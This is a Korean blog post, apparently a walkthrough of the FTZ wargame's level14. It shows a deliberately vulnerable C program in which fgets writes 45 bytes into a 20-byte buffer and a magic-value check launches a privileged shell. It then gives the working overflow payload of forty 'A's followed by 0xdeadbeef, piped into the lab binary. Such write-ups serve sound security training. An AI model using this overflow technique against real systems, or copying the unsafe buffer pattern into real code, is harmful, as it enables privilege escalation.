ftz

level14

oogu ㅣ 2022. 9. 12. 11:07

#include <stdio.h>
#include <unistd.h>

main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}

level14 문제는 fgets 함수를 사용하는 45 글자만 입력받는다. if문만 참이 되면 shell 실행된다.

[그림 1-1]
[그림 1-2]

[그림 1-1] 참조하면 [그림 1-2] 그릴 수 있다.

payload 는 "A" * 40 + 0xdeadbeef 이다. 딱 44글자 들어간다. 

[그림 1-3]

(python -c 'print("A"*40+"\xef\xbe\xad\xde")';cat) | ./attackme

'ftz' 카테고리의 다른 글

level16  (0) 2022.09.12
level15  (0) 2022.09.12
level13  (0) 2022.09.12
level12  (0) 2022.09.11
level11  (0) 2022.09.11